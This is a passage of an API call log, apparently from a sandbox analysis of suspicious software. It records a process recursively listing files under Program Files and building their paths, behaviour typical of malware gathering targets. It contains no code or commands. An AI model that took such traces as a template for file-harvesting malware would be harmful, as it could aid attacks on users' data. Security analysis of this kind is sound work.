lpFindFileData=0x36f218) returned 1 [0041.560] lstrcmpW (lpString1="Java", lpString2=".") returned 1 [0041.560] lstrcmpW (lpString1="Java", lpString2="..") returned 1 [0041.560] lstrlenW (lpString="c:\\Program Files (x86)\\") returned 23 [0041.560] lstrlenW (lpString="Java") returned 4 [0041.560] lstrcatW (in: lpString1="c:\\Program Files (x86)\\", lpString2="Java" | out: lpString1="c:\\Program Files (x86)\\Java") returned="c:\\Program Files (x86)\\Java" [0041.560] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Java", lpString2="\\" | out: lpString1="c:\\Program Files (x86)\\Java\\") returned="c:\\Program Files (x86)\\Java\\" [0041.560] lstrlenW (lpString="c:\\Program Files (x86)\\Java\\") returned 28 [0041.560] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Java\\", lpString2="*" | out: lpString1="c:\\Program Files (x86)\\Java\\*") returned="c:\\Program Files (x86)\\Java\\*" [0041.560] FindFirstFileW (in: lpFileName="c:\\Program Files (x86)\\Java\\*", lpFindFileData=0x36ef5c | out: lpFindFileData=0x36ef5c) returned 0x3b5d18 [0041.560] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0041.560] FindNextFileW (in: hFindFile=0x3b5d18, lpFindFileData=0x36ef5c | out: lpFindFileData=0x36ef5c) returned 1 [0041.560] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0041.560] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0041.560] FindNextFileW (in: hFindFile=0x3b5d18, lpFindFileData=0x36ef5c | out: lpFindFileData=0x36ef5c) returned 1 [0041.560] lstrcmpW (lpString1="analysts-dose.exe", lpString2=".") returned 1 [0041.560] lstrcmpW (lpString1="analysts-dose.exe", lpString2="..") returned 1 [0041.560] lstrlenW (lpString="c:\\Program Files (x86)\\Java\\") returned 28 [0041.560] lstrlenW (lpString="analysts-dose.exe") returned 17 [0041.560] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Java\\", lpString2="analysts-dose.exe" | out: lpString1="c:\\Program Files (x86)\\Java\\analysts-dose.exe") returned="c:\\Program Files (x86)\\Java\\analysts-dose.exe" [0041.560] lstrlenW (lpString="c:\\Program Files (x86)\\Java\\analysts-dose.exe") returned 45 [0041.560] lstrcpyW (in: lpString1=0x9214e0, lpString2="c:\\Program Files (x86)\\Java\\analysts-dose.exe" | out: lpString1="c:\\Program Files (x86)\\Java\\analysts-dose.exe") returned="c:\\Program Files (x86)\\Java\\analysts-dose.exe" [0041.560] FindNextFileW (in: hFindFile=0x3b5d18, lpFindFileData=0x36ef5c | out: lpFindFileData=0x36ef5c) returned 1 [0041.560] lstrcmpW (lpString1="diamond_hospitals_designs_www.exe", lpString2=".") returned 1 [0041.560] lstrcmpW (lpString1="diamond_hospitals_designs_www.exe", lpString2="..") returned 1 [0041.560] lstrlenW (lpString="c:\\Program Files (x86)\\Java\\") returned 28 [0041.560] lstrlenW (lpString="diamond_hospitals_designs_www.exe") returned 33 [0041.560] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Java\\", lpString2="diamond_hospitals_designs_www.exe" | out: lpString1="c:\\Program Files (x86)\\Java\\diamond_hospitals_designs_www.exe") returned="c:\\Program Files (x86)\\Java\\diamond_hospitals_designs_www.exe" [0041.560] lstrlenW (lpString="c:\\Program Files (x86)\\Java\\diamond_hospitals_designs_www.exe") returned 61 [0041.560] lstrcpyW (in: lpString1=0x921548, lpString2="c:\\Program Files (x86)\\Java\\diamond_hospitals_designs_www.exe" | out: lpString1="c:\\Program Files (x86)\\Java\\diamond_hospitals_designs_www.exe") returned="c:\\Program Files (x86)\\Java\\diamond_hospitals_designs_www.exe" [0041.560] FindNextFileW (in: hFindFile=0x3b5d18, lpFindFileData=0x36ef5c | out: lpFindFileData=0x36ef5c) returned 1 [0041.560] lstrcmpW (lpString1="jre7", lpString2=".") returned 1 [0041.560] lstrcmpW (lpString1="jre7", lpString2="..") returned 1 [0041.560] lstrlenW (lpString="c:\\Program Files (x86)\\Java\\") returned 28 [0041.560] lstrlenW (lpString="jre7") returned 4 [0041.560] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Java\\", lpString2="jre7" | out: lpString1="c:\\Program Files (x86)\\Java\\jre7") returned="c:\\Program Files (x86)\\Java\\jre7" [0041.560] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Java\\jre7", lpString2="\\" | out: lpString1="c:\\Program Files (x86)\\Java\\jre7\\") returned="c:\\Program Files (x86)\\Java\\jre7\\" [0041.560] lstrlenW (lpString="c:\\Program Files (x86)\\Java\\jre7\\") returned 33 [0041.560] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Java\\jre7\\", lpString2="*" | out: lpString1="c:\\Program Files (x86)\\Java\\jre7\\*") returned="c:\\Program Files (x86)\\Java\\jre7\\*" [0041.560] FindFirstFileW (in: lpFileName="c:\\Program Files (x86)\\Java\\jre7\\*", lpFindFileData=0x36eca0 | out: lpFindFileData=0x36eca0) returned 0x3b5d58 [0041.561] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0041.561] FindNextFileW (in: hFindFile=0x3b5d58, lpFindFileData=0x36eca0 | out: lpFindFileData=0x36eca0) returned 1 [0041.561] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0041.561] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0041.561] FindNextFileW (in: hFindFile=0x3b5d58, lpFindFileData=0x36eca0 | out: lpFindFileData=0x36eca0) returned 1 [0041.561] lstrcmpW (lpString1="bin", lpString2=".") returned 1 [0041.561] lstrcmpW (lpString1="bin", lpString2="..") returned 1 [0041.561] lstrlenW (lpString="c:\\Program Files (x86)\\Java\\jre7\\") returned 33 [0041.561] lstrlenW (lpString="bin") returned 3 [0041.561] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Java\\jre7\\", lpString2="bin" | out: lpString1="c:\\Program Files (x86)\\Java\\jre7\\bin") returned="c:\\Program Files (x86)\\Java\\jre7\\bin" [0041.561] FindNextFileW (in: hFindFile=0x3b5d58, lpFindFileData=0x36eca0 | out: lpFindFileData=0x36eca0) returned 1 [0041.561] lstrcmpW (lpString1="COPYRIGHT", lpString2=".") returned 1 [0041.561] lstrcmpW (lpString1="COPYRIGHT", lpString2="..") returned 1 [0041.561] lstrlenW (lpString="c:\\Program Files (x86)\\Java\\jre7\\") returned 33 [0041.561] lstrlenW (lpString="COPYRIGHT") returned 9 [0041.561] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Java\\jre7\\", lpString2="COPYRIGHT" | out: lpString1="c:\\Program Files (x86)\\Java\\jre7\\COPYRIGHT") returned="c:\\Program Files (x86)\\Java\\jre7\\COPYRIGHT" [0041.561] lstrlenW (lpString="c:\\Program Files (x86)\\Java\\jre7\\COPYRIGHT") returned 42 [0041.561] lstrcpyW (in: lpString1=0x9215d0, lpString2="c:\\Program Files (x86)\\Java\\jre7\\COPYRIGHT" | out: lpString1="c:\\Program Files (x86)\\Java\\jre7\\COPYRIGHT") returned="c:\\Program Files (x86)\\Java\\jre7\\COPYRIGHT" [0041.561] FindNextFileW (in: hFindFile=0x3b5d58, lpFindFileData=0x36eca0 | out: lpFindFileData=0x36eca0) returned 1 [0041.561] lstrcmpW (lpString1="lib", lpString2=".") returned 1 [0041.561] lstrcmpW (lpString1="lib", lpString2="..") returned 1 [0041.561] lstrlenW (lpString="c:\\Program Files (x86)\\Java\\jre7\\") returned 33 [0041.561] lstrlenW (lpString="lib") returned 3 [0041.561] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Java\\jre7\\", lpString2="lib" | out: lpString1="c:\\Program Files (x86)\\Java\\jre7\\lib") returned="c:\\Program Files (x86)\\Java\\jre7\\lib" [0041.561] FindNextFileW (in: hFindFile=0x3b5d58, lpFindFileData=0x36eca0 | out: lpFindFileData=0x36eca0) returned 1 [0041.561] lstrcmpW (lpString1="LICENSE", lpString2=".") returned 1 [0041.561] lstrcmpW (lpString1="LICENSE", lpString2="..") returned 1 [0041.561] lstrlenW (lpString="c:\\Program Files (x86)\\Java\\jre7\\") returned 33 [0041.561] lstrlenW (lpString="LICENSE") returned 7 [0041.561] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Java\\jre7\\", lpString2="LICENSE" | out: lpString1="c:\\Program Files (x86)\\Java\\jre7\\LICENSE") returned="c:\\Program Files (x86)\\Java\\jre7\\LICENSE" [0041.561] lstrlenW (lpString="c:\\Program Files (x86)\\Java\\jre7\\LICENSE") returned 40 [0041.561] lstrcpyW (in: lpString1=0x921630, lpString2="c:\\Program Files (x86)\\Java\\jre7\\LICENSE" | out: lpString1="c:\\Program Files (x86)\\Java\\jre7\\LICENSE") returned="c:\\Program Files (x86)\\Java\\jre7\\LICENSE" [0041.561] FindNextFileW (in: hFindFile=0x3b5d58, lpFindFileData=0x36eca0 | out: lpFindFileData=0x36eca0) returned 1 [0041.561] lstrcmpW (lpString1="README.txt", lpString2=".") returned 1 [0041.561] lstrcmpW (lpString1="README.txt", lpString2="..") returned 1 [0041.561] lstrlenW (lpString="c:\\Program Files (x86)\\Java\\jre7\\") returned 33 [0041.561] lstrlenW (lpString="README.txt") returned 10 [0041.561] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Java\\jre7\\", lpString2="README.txt" | out: lpString1="c:\\Program Files (x86)\\Java\\jre7\\README.txt") returned="c:\\Program Files (x86)\\Java\\jre7\\README.txt" [0041.561] lstrlenW (lpString="c:\\Program Files (x86)\\Java\\jre7\\README.txt") returned 43 [0041.561] lstrcpyW (in: lpString1=0x921690, lpString2="c:\\Program Files (x86)\\Java\\jre7\\README.txt" | out: lpString1="c:\\Program Files (x86)\\Java\\jre7\\README.txt") returned="c:\\Program Files (x86)\\Java\\jre7\\README.txt" [0041.561] FindNextFileW (in: hFindFile=0x3b5d58, lpFindFileData=0x36eca0 | out: lpFindFileData=0x36eca0) returned 1 [0041.561] lstrcmpW (lpString1="release", lpString2=".") returned 1 [0041.561] lstrcmpW (lpString1="release", lpString2="..") returned 1 [0041.561] lstrlenW (lpString="c:\\Program Files (x86)\\Java\\jre7\\") returned 33 [0041.561] lstrlenW (lpString="release") returned 7 [0041.562] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Java\\jre7\\", lpString2="release" | out: lpString1="c:\\Program Files (x86)\\Java\\jre7\\release") returned="c:\\Program Files (x86)\\Java\\jre7\\release" [0041.562] lstrlenW (lpString="c:\\Program Files (x86)\\Java\\jre7\\release") returned 40 [0041.562] lstrcpyW (in: lpString1=0x9216f0, lpString2="c:\\Program Files (x86)\\Java\\jre7\\release" | out: lpString1="c:\\Program Files (x86)\\Java\\jre7\\release") returned="c:\\Program Files (x86)\\Java\\jre7\\release" [0041.562] FindNextFileW (in: hFindFile=0x3b5d58, lpFindFileData=0x36eca0 | out: lpFindFileData=0x36eca0) returned 1 [0041.562] lstrcmpW (lpString1="THIRDPARTYLICENSEREADME-JAVAFX.txt", lpString2=".") returned 1 [0041.562] lstrcmpW (lpString1="THIRDPARTYLICENSEREADME-JAVAFX.txt", lpString2="..") returned 1 [0041.562] lstrlenW (lpString="c:\\Program Files (x86)\\Java\\jre7\\") returned 33 [0041.562] lstrlenW (lpString="THIRDPARTYLICENSEREADME-JAVAFX.txt") returned 34 [0041.562] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Java\\jre7\\", lpString2="THIRDPARTYLICENSEREADME-JAVAFX.txt" | out: lpString1="c:\\Program Files (x86)\\Java\\jre7\\THIRDPARTYLICENSEREADME-JAVAFX.txt") returned="c:\\Program Files (x86)\\Java\\jre7\\THIRDPARTYLICENSEREADME-JAVAFX.txt" [0041.562] lstrlenW (lpString="c:\\Program Files (x86)\\Java\\jre7\\THIRDPARTYLICENSEREADME-JAVAFX.txt") returned 67 [0041.562] lstrcpyW (in: lpString1=0x921750, lpString2="c:\\Program Files (x86)\\Java\\jre7\\THIRDPARTYLICENSEREADME-JAVAFX.txt" | out: lpString1="c:\\Program Files (x86)\\Java\\jre7\\THIRDPARTYLICENSEREADME-JAVAFX.txt") returned="c:\\Program Files (x86)\\Java\\jre7\\THIRDPARTYLICENSEREADME-JAVAFX.txt" [0041.562] FindNextFileW (in: hFindFile=0x3b5d58, lpFindFileData=0x36eca0 | out: lpFindFileData=0x36eca0) returned 1 [0041.562] lstrcmpW (lpString1="THIRDPARTYLICENSEREADME.txt", lpString2=".") returned 1 [0041.562] lstrcmpW (lpString1="THIRDPARTYLICENSEREADME.txt", lpString2="..") returned 1 [0041.562] lstrlenW (lpString="c:\\Program Files (x86)\\Java\\jre7\\") returned 33 [0041.562] lstrlenW (lpString="THIRDPARTYLICENSEREADME.txt") returned 27 [0041.562] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Java\\jre7\\", lpString2="THIRDPARTYLICENSEREADME.txt" | out: lpString1="c:\\Program Files (x86)\\Java\\jre7\\THIRDPARTYLICENSEREADME.txt") returned="c:\\Program Files (x86)\\Java\\jre7\\THIRDPARTYLICENSEREADME.txt" [0041.562] lstrlenW (lpString="c:\\Program Files (x86)\\Java\\jre7\\THIRDPARTYLICENSEREADME.txt") returned 60 [0041.562] lstrcpyW (in: lpString1=0x9217e0, lpString2="c:\\Program Files (x86)\\Java\\jre7\\THIRDPARTYLICENSEREADME.txt" | out: lpString1="c:\\Program Files (x86)\\Java\\jre7\\THIRDPARTYLICENSEREADME.txt") returned="c:\\Program Files (x86)\\Java\\jre7\\THIRDPARTYLICENSEREADME.txt" [0041.562] FindNextFileW (in: hFindFile=0x3b5d58, lpFindFileData=0x36eca0 | out: lpFindFileData=0x36eca0) returned 1 [0041.562] lstrcmpW (lpString1="Welcome.html", lpString2=".") returned 1 [0041.562] lstrcmpW (lpString1="Welcome.html", lpString2="..") returned 1 [0041.562] lstrlenW (lpString="c:\\Program Files (x86)\\Java\\jre7\\") returned 33 [0041.562] lstrlenW (lpString="Welcome.html") returned 12 [0041.562] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Java\\jre7\\", lpString2="Welcome.html" | out: lpString1="c:\\Program Files (x86)\\Java\\jre7\\Welcome.html") returned="c:\\Program Files (x86)\\Java\\jre7\\Welcome.html" [0041.562] lstrlenW (lpString="c:\\Program Files (x86)\\Java\\jre7\\Welcome.html") returned 45 [0041.562] lstrcpyW (in: lpString1=0x921868, lpString2="c:\\Program Files (x86)\\Java\\jre7\\Welcome.html" | out: lpString1="c:\\Program Files (x86)\\Java\\jre7\\Welcome.html") returned="c:\\Program Files (x86)\\Java\\jre7\\Welcome.html" [0041.562] FindNextFileW (in: hFindFile=0x3b5d58, lpFindFileData=0x36eca0 | out: lpFindFileData=0x36eca0) returned 0 [0041.562] FindClose (in: hFindFile=0x3b5d58 | out: hFindFile=0x3b5d58) returned 1 [0041.562] FindNextFileW (in: hFindFile=0x3b5d18, lpFindFileData=0x36ef5c | out: lpFindFileData=0x36ef5c) returned 1 [0041.562] lstrcmpW (lpString1="turner_construction_solve_cialis.exe", lpString2=".") returned 1 [0041.562] lstrcmpW (lpString1="turner_construction_solve_cialis.exe", lpString2="..") returned 1 [0041.562] lstrlenW (lpString="c:\\Program Files (x86)\\Java\\") returned 28 [0041.562] lstrlenW (lpString="turner_construction_solve_cialis.exe") returned 36 [0041.562] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Java\\", lpString2="turner_construction_solve_cialis.exe" | out: lpString1="c:\\Program Files (x86)\\Java\\turner_construction_solve_cialis.exe") returned="c:\\Program Files (x86)\\Java\\turner_construction_solve_cialis.exe" [0041.562] lstrlenW (lpString="c:\\Program Files (x86)\\Java\\turner_construction_solve_cialis.exe") returned 64 [0041.562] lstrcpyW (in: lpString1=0x9218d0, lpString2="c:\\Program Files (x86)\\Java\\turner_construction_solve_cialis.exe" | out: lpString1="c:\\Program Files (x86)\\Java\\turner_construction_solve_cialis.exe") returned="c:\\Program Files (x86)\\Java\\turner_construction_solve_cialis.exe" [0041.562] FindNextFileW (in: hFindFile=0x3b5d18, lpFindFileData=0x36ef5c | out: lpFindFileData=0x36ef5c) returned 0 [0041.562] FindClose (in: hFindFile=0x3b5d18 | out: hFindFile=0x3b5d18) returned 1 [0041.562] FindNextFileW (in: hFindFile=0x3b5cd8, lpFindFileData=0x36f218 | out: lpFindFileData=0x36f218) returned 1 [0041.563] lstrcmpW (lpString1="Microsoft Office", lpString2=".") returned 1 [0041.563] lstrcmpW (lpString1="Microsoft Office", lpString2="..") returned 1 [0041.563] lstrlenW (lpString="c:\\Program Files (x86)\\") returned 23 [0041.563] lstrlenW (lpString="Microsoft Office") returned 16 [0041.563] lstrcatW (in: lpString1="c:\\Program Files (x86)\\", lpString2="Microsoft Office" | out: lpString1="c:\\Program Files (x86)\\Microsoft Office") returned="c:\\Program Files (x86)\\Microsoft Office" [0041.563] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Microsoft Office", lpString2="\\" | out: lpString1="c:\\Program Files (x86)\\Microsoft Office\\") returned="c:\\Program Files (x86)\\Microsoft Office\\" [0041.563] lstrlenW (lpString="c:\\Program Files (x86)\\Microsoft Office\\") returned 40 [0041.563] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Microsoft Office\\", lpString2="*" | out: lpString1="c:\\Program Files (x86)\\Microsoft Office\\*") returned="c:\\Program Files (x86)\\Microsoft Office\\*" [0041.563] FindFirstFileW (in: lpFileName="c:\\Program Files (x86)\\Microsoft Office\\*", lpFindFileData=0x36ef5c | out: lpFindFileData=0x36ef5c) returned 0x3b5d18 [0041.563] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0041.563] FindNextFileW (in: hFindFile=0x3b5d18, lpFindFileData=0x36ef5c | out: lpFindFileData=0x36ef5c) returned 1 [0041.563] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0041.563] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0041.563] FindNextFileW (in: hFindFile=0x3b5d18, lpFindFileData=0x36ef5c | out: lpFindFileData=0x36ef5c) returned 0 [0041.563] FindClose (in: hFindFile=0x3b5d18 | out: hFindFile=0x3b5d18) returned 1 [0041.563] FindNextFileW (in: hFindFile=0x3b5cd8, lpFindFileData=0x36f218 | out: lpFindFileData=0x36f218) returned 1 [0041.563] lstrcmpW (lpString1="Microsoft OneDrive", lpString2=".") returned 1 [0041.563] lstrcmpW (lpString1="Microsoft OneDrive", lpString2="..") returned 1 [0041.563] lstrlenW (lpString="c:\\Program Files (x86)\\") returned 23 [0041.563] lstrlenW (lpString="Microsoft OneDrive") returned 18 [0041.563] lstrcatW (in: lpString1="c:\\Program Files (x86)\\", lpString2="Microsoft OneDrive" | out: lpString1="c:\\Program Files (x86)\\Microsoft OneDrive") returned="c:\\Program Files (x86)\\Microsoft OneDrive" [0041.563] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Microsoft OneDrive", lpString2="\\" | out: lpString1="c:\\Program Files (x86)\\Microsoft OneDrive\\") returned="c:\\Program Files (x86)\\Microsoft OneDrive\\" [0041.563] lstrlenW (lpString="c:\\Program Files (x86)\\Microsoft OneDrive\\") returned 42 [0041.563] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Microsoft OneDrive\\", lpString2="*" | out: lpString1="c:\\Program Files (x86)\\Microsoft OneDrive\\*") returned="c:\\Program Files (x86)\\Microsoft OneDrive\\*" [0041.563] FindFirstFileW (in: lpFileName="c:\\Program Files (x86)\\Microsoft OneDrive\\*", lpFindFileData=0x36ef5c | out: lpFindFileData=0x36ef5c) returned 0x3b5d18 [0041.563] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0041.563] FindNextFileW (in: hFindFile=0x3b5d18, lpFindFileData=0x36ef5c | out: lpFindFileData=0x36ef5c) returned 1 [0041.563] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0041.563] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0041.563] FindNextFileW (in: hFindFile=0x3b5d18, lpFindFileData=0x36ef5c | out: lpFindFileData=0x36ef5c) returned 1 [0041.563] lstrcmpW (lpString1="farehave.exe", lpString2=".") returned 1 [0041.563] lstrcmpW (lpString1="farehave.exe", lpString2="..") returned 1 [0041.563] lstrlenW (lpString="c:\\Program Files (x86)\\Microsoft OneDrive\\") returned 42 [0041.563] lstrlenW (lpString="farehave.exe") returned 12 [0041.563] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Microsoft OneDrive\\", lpString2="farehave.exe" | out: lpString1="c:\\Program Files (x86)\\Microsoft OneDrive\\farehave.exe") returned="c:\\Program Files (x86)\\Microsoft OneDrive\\farehave.exe" [0041.563] lstrlenW (lpString="c:\\Program Files (x86)\\Microsoft OneDrive\\farehave.exe") returned 54 [0041.564] lstrcpyW (in: lpString1=0x920858, lpString2="c:\\Program Files (x86)\\Microsoft OneDrive\\farehave.exe" | out: lpString1="c:\\Program Files (x86)\\Microsoft OneDrive\\farehave.exe") returned="c:\\Program Files (x86)\\Microsoft OneDrive\\farehave.exe" [0041.564] FindNextFileW (in: hFindFile=0x3b5d18, lpFindFileData=0x36ef5c | out: lpFindFileData=0x36ef5c) returned 1 [0041.564] lstrcmpW (lpString1="OneDriveSetup.exe", lpString2=".") returned 1 [0041.564] lstrcmpW (lpString1="OneDriveSetup.exe", lpString2="..") returned 1 [0041.564] lstrlenW (lpString="c:\\Program Files (x86)\\Microsoft OneDrive\\") returned 42 [0041.564] lstrlenW (lpString="OneDriveSetup.exe") returned 17 [0041.564] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Microsoft OneDrive\\", lpString2="OneDriveSetup.exe" | out: lpString1="c:\\Program Files (x86)\\Microsoft OneDrive\\OneDriveSetup.exe") returned="c:\\Program Files (x86)\\Microsoft OneDrive\\OneDriveSetup.exe" [0041.564] lstrlenW (lpString="c:\\Program Files (x86)\\Microsoft OneDrive\\OneDriveSetup.exe") returned 59 [0041.564] lstrcpyW (in: lpString1=0x921960, lpString2="c:\\Program Files (x86)\\Microsoft OneDrive\\OneDriveSetup.exe" | out: lpString1="c:\\Program Files (x86)\\Microsoft OneDrive\\OneDriveSetup.exe") returned="c:\\Program Files (x86)\\Microsoft OneDrive\\OneDriveSetup.exe" [0041.564] FindNextFileW (in: hFindFile=0x3b5d18, lpFindFileData=0x36ef5c | out: lpFindFileData=0x36ef5c) returned 0 [0041.564] FindClose (in: hFindFile=0x3b5d18 | out: hFindFile=0x3b5d18) returned 1 [0041.564] FindNextFileW (in: hFindFile=0x3b5cd8, lpFindFileData=0x36f218 | out: lpFindFileData=0x36f218) returned 1 [0041.564] lstrcmpW (lpString1="Microsoft.NET", lpString2=".") returned 1 [0041.564] lstrcmpW (lpString1="Microsoft.NET", lpString2="..") returned 1 [0041.564] lstrlenW (lpString="c:\\Program Files (x86)\\") returned 23 [0041.564] lstrlenW (lpString="Microsoft.NET") returned 13 [0041.564] lstrcatW (in: lpString1="c:\\Program Files (x86)\\", lpString2="Microsoft.NET" | out: lpString1="c:\\Program Files (x86)\\Microsoft.NET") returned="c:\\Program Files (x86)\\Microsoft.NET" [0041.564] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Microsoft.NET", lpString2="\\" | out: lpString1="c:\\Program Files (x86)\\Microsoft.NET\\") returned="c:\\Program Files (x86)\\Microsoft.NET\\" [0041.564] lstrlenW (lpString="c:\\Program Files (x86)\\Microsoft.NET\\") returned 37 [0041.564] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Microsoft.NET\\", lpString2="*" | out: lpString1="c:\\Program Files (x86)\\Microsoft.NET\\*") returned="c:\\Program Files (x86)\\Microsoft.NET\\*" [0041.564] FindFirstFileW (in: lpFileName="c:\\Program Files (x86)\\Microsoft.NET\\*", lpFindFileData=0x36ef5c | out: lpFindFileData=0x36ef5c) returned 0x3b5d18 [0041.564] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0041.564] FindNextFileW (in: hFindFile=0x3b5d18, lpFindFileData=0x36ef5c | out: lpFindFileData=0x36ef5c) returned 1 [0041.564] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0041.564] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0041.564] FindNextFileW (in: hFindFile=0x3b5d18, lpFindFileData=0x36ef5c | out: lpFindFileData=0x36ef5c) returned 1 [0041.564] lstrcmpW (lpString1="Primary Interop Assemblies", lpString2=".") returned 1 [0041.564] lstrcmpW (lpString1="Primary Interop Assemblies", lpString2="..") returned 1 [0041.564] lstrlenW (lpString="c:\\Program Files (x86)\\Microsoft.NET\\") returned 37 [0041.564] lstrlenW (lpString="Primary Interop Assemblies") returned 26 [0041.564] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Microsoft.NET\\", lpString2="Primary Interop Assemblies" | out: lpString1="c:\\Program Files (x86)\\Microsoft.NET\\Primary Interop Assemblies") returned="c:\\Program Files (x86)\\Microsoft.NET\\Primary Interop Assemblies" [0041.564] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Microsoft.NET\\Primary Interop Assemblies", lpString2="\\" | out: lpString1="c:\\Program Files (x86)\\Microsoft.NET\\Primary Interop Assemblies\\") returned="c:\\Program Files (x86)\\Microsoft.NET\\Primary Interop Assemblies\\" [0041.564] lstrlenW (lpString="c:\\Program Files (x86)\\Microsoft.NET\\Primary Interop Assemblies\\") returned 64 [0041.564] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Microsoft.NET\\Primary Interop Assemblies\\", lpString2="*" | out: lpString1="c:\\Program Files (x86)\\Microsoft.NET\\Primary Interop Assemblies\\*") returned="c:\\Program Files (x86)\\Microsoft.NET\\Primary Interop Assemblies\\*" [0041.564] FindFirstFileW (in: lpFileName="c:\\Program Files (x86)\\Microsoft.NET\\Primary Interop Assemblies\\*", lpFindFileData=0x36eca0 | out: lpFindFileData=0x36eca0) returned 0x3b5d58 [0041.565] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0041.565] FindNextFileW (in: hFindFile=0x3b5d58, lpFindFileData=0x36eca0 | out: lpFindFileData=0x36eca0) returned 1 [0041.565] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0041.565] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0041.565] FindNextFileW (in: hFindFile=0x3b5d58, lpFindFileData=0x36eca0 | out: lpFindFileData=0x36eca0) returned 1 [0041.565] lstrcmpW (lpString1="adodb.dll", lpString2=".") returned 1 [0041.565] lstrcmpW (lpString1="adodb.dll", lpString2="..") returned 1 [0041.565] lstrlenW (lpString="c:\\Program Files (x86)\\Microsoft.NET\\Primary Interop Assemblies\\") returned 64 [0041.565] lstrlenW (lpString="adodb.dll") returned 9 [0041.565] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Microsoft.NET\\Primary Interop Assemblies\\", lpString2="adodb.dll" | out: lpString1="c:\\Program Files (x86)\\Microsoft.NET\\Primary Interop Assemblies\\adodb.dll") returned="c:\\Program Files (x86)\\Microsoft.NET\\Primary Interop Assemblies\\adodb.dll" [0041.565] lstrlenW (lpString="c:\\Program Files (x86)\\Microsoft.NET\\Primary Interop Assemblies\\adodb.dll") returned 73 [0041.565] lstrcpyW (in: lpString1=0x9219e0, lpString2="c:\\Program Files (x86)\\Microsoft.NET\\Primary Interop Assemblies\\adodb.dll" | out: lpString1="c:\\Program Files (x86)\\Microsoft.NET\\Primary Interop Assemblies\\adodb.dll") returned="c:\\Program Files (x86)\\Microsoft.NET\\Primary Interop Assemblies\\adodb.dll" [0041.565] FindNextFileW (in: hFindFile=0x3b5d58, lpFindFileData=0x36eca0 | out: lpFindFileData=0x36eca0) returned 1 [0041.565] lstrcmpW (lpString1="Microsoft.mshtml.dll", lpString2=".") returned 1 [0041.565] lstrcmpW (lpString1="Microsoft.mshtml.dll", lpString2="..") returned 1 [0041.565] lstrlenW (lpString="c:\\Program Files (x86)\\Microsoft.NET\\Primary Interop Assemblies\\") returned 64 [0041.565] lstrlenW (lpString="Microsoft.mshtml.dll") returned 20 [0041.565] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Microsoft.NET\\Primary Interop Assemblies\\", lpString2="Microsoft.mshtml.dll" | out: lpString1="c:\\Program Files (x86)\\Microsoft.NET\\Primary Interop Assemblies\\Microsoft.mshtml.dll") returned="c:\\Program Files (x86)\\Microsoft.NET\\Primary Interop Assemblies\\Microsoft.mshtml.dll" [0041.565] lstrlenW (lpString="c:\\Program Files (x86)\\Microsoft.NET\\Primary Interop Assemblies\\Microsoft.mshtml.dll") returned 84 [0041.565] lstrcpyW (in: lpString1=0x921a80, lpString2="c:\\Program Files (x86)\\Microsoft.NET\\Primary Interop Assemblies\\Microsoft.mshtml.dll" | out: lpString1="c:\\Program Files (x86)\\Microsoft.NET\\Primary Interop Assemblies\\Microsoft.mshtml.dll") returned="c:\\Program Files (x86)\\Microsoft.NET\\Primary Interop Assemblies\\Microsoft.mshtml.dll" [0041.565] FindNextFileW (in: hFindFile=0x3b5d58, lpFindFileData=0x36eca0 | out: lpFindFileData=0x36eca0) returned 1 [0041.565] lstrcmpW (lpString1="Microsoft.stdformat.dll", lpString2=".") returned 1 [0041.565] lstrcmpW (lpString1="Microsoft.stdformat.dll", lpString2="..") returned 1 [0041.565] lstrlenW (lpString="c:\\Program Files (x86)\\Microsoft.NET\\Primary Interop Assemblies\\") returned 64 [0041.565] lstrlenW (lpString="Microsoft.stdformat.dll") returned 23 [0041.565] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Microsoft.NET\\Primary Interop Assemblies\\", lpString2="Microsoft.stdformat.dll" | out: lpString1="c:\\Program Files (x86)\\Microsoft.NET\\Primary Interop Assemblies\\Microsoft.stdformat.dll") returned="c:\\Program Files (x86)\\Microsoft.NET\\Primary Interop Assemblies\\Microsoft.stdformat.dll" [0041.565] lstrlenW (lpString="c:\\Program Files (x86)\\Microsoft.NET\\Primary Interop Assemblies\\Microsoft.stdformat.dll") returned 87 